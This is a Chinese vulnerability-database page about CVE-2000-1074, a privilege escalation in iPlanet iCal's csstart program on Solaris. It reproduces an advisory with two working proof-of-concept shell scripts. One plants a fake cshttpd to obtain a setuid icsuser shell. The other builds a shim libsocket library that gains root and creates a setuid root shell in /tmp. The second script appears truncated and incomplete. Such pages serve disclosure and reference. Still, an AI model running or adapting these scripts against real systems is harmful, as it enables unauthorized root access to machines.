iCal csstart权限提升漏洞

iCal csstart权限提升漏洞

漏洞ID 1106037 漏洞类型 未知
发布时间 2000-10-10 更新时间 2005-05-02
图片[1]-iCal csstart权限提升漏洞-安全小百科CVE编号 CVE-2000-1074
图片[2]-iCal csstart权限提升漏洞-安全小百科CNNVD-ID CNNVD-200012-012
漏洞平台 Solaris CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/20276
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200012-012
|漏洞详情
iCal2.1Patch2的csstart使用相关路径名安装libsocket和libnsl库,icsuser账户可以通过创建当前目录或父目录的库特洛伊木马获取根权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/1769/info

Netscape's iPlanet iCal application is a network based calendar service built for deployment in organizations which require a centralized calendar system. Certain versions of iCal ship with a vulnerability in /opt/SUNWicsrv/cal/bin/csstart program. This program is designed to launch the 'cshttpd' server which is the web based interface for the iCal product. 

The problem lies in that the 'csstart' program when run attempts by default to launch cshttpd out of the directory the user is in when they issue the command. Therefore, if a malicious user creates their own cshttpd in the directory from which they launch the csstart the fake server which be launched as opposed to the actual service. This rogue service is effectively launched as the user icsuser and allows the attacker to issue commands as such. Because this user ID owns the iCal directories and files the attacker may user to leverage the attack to root privileges. The example given in the @ Stake advisory is for a user to place shim libraries in the iCal library directory to have the csstart binary retain it's setuid privileges as opposed to dropping them as it is designed to.

Proof of Concept Tools:

There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.

[begin: obtain-ics.sh]
#!/bin/sh
#
# Simple proof of concept exploit used to obtain icsuser shell.
#
# [email protected]
#
INSTDIR=`cat /etc/iplncal.conf`

cat > cshttpd << FOOFOO
#!/bin/sh
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
FOOFOO

chmod 755 ./cshttpd

echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null

sleep 1
ls -al ./icsuser
[end: obtain-ics.sh]


[begin: obtain-root.sh]
#!/bin/sh
#
# Simple iCal exploit. Become icsuser by running the shell created with
# the
# obtain-ics.sh script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell. 
#
# [email protected]
#

INSTDIR=`cat /etc/iplncal.conf`

#######
#Create the shim library..

cat > libsushi.c << FOEFOE
/* libsushi
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
libsushi.c
*/
#include <unistd.h>
int socket(void)
{
setuid(0);
execl("./icalroot","icalroot",0);
return 0;
}
FOEFOE

#####
#create the shell script we'll be executing as root..

cat > $INSTDIR/cal/bin/icalroot << FOOFOO
#!/bin/sh
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot

echo ".. Now wait for the iCal service to start up again"
[end: obtain-root.sh]


For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc
|参考资料

来源:BID
名称:1769
链接:http://www.securityfocus.com/bid/1769
来源:ATSTAKE
名称:A100900-1
链接:http://www.atstake.com/research/advisories/2000/a100900-1.txt
来源:XF
名称:ical-csstart-gain-access
链接:http://xforce.iss.net/static/5757.php
来源:OSVDB
名称:7209
链接:http://www.osvdb.org/7209

相关推荐: Bolthole filter filter.c 缓冲区溢出漏洞

Bolthole filter filter.c 缓冲区溢出漏洞 漏洞ID 1200329 漏洞类型 缓冲区溢出 发布时间 2005-01-10 更新时间 2005-01-10 CVE编号 CVE-2004-1272 CNNVD-ID CNNVD-200501…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享